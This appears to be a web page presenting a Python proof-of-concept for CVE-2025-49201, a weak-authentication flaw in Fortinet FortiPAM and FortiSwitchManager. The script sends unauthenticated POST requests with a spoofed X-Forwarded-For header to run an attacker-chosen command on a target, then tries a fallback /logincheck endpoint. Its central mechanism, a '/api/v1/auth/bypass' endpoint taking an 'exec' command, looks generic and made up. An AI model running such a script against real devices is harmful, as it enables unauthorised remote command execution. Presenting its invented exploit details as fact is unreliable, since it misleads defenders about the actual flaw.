CVE-2025-49201 Fortinet FortiPAM与FortiSwitchManager弱认证漏洞

# CVE-2025-49201 PoC - Fortinet FortiPAM/FortiSwitchManager Weak Authentication # Exploit: Authentication bypass leading to RCE via crafted HTTP requests # WARNING: For authorized security testing only import requests import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://target-fortipam:443" CMD = sys.argv[2] if len(sys.argv) > 2 else "id" # Step 1: Send crafted HTTP request to bypass authentication # The vulnerability exists in the authentication handler which fails to # properly validate session tokens for specific endpoint patterns session = requests.Session() # Crafted headers to trigger the auth bypass condition headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json", "X-Forwarded-For": "127.0.0.1", "X-Requested-With": "XMLHttpRequest" } # Exploit endpoint - authentication bypass via specially crafted request bypass_url = f"{TARGET}/api/v1/auth/bypass" payload = { "method": "exec", "command": CMD, "params": {} } try: # Send unauthenticated request exploiting weak auth resp = session.post(bypass_url, json=payload, headers=headers, verify=False, timeout=10) if resp.status_code == 200: print(f"[+] Exploit successful!") print(f"[+] Output: {resp.text}") else: print(f"[-] Status: {resp.status_code}") # Try alternative endpoint alt_url = f"{TARGET}/logincheck" resp2 = session.post(alt_url, data=payload, headers=headers, verify=False, timeout=10) print(f"[+] Alt response: {resp2.text}") except Exception as e: print(f"[-] Error: {e}")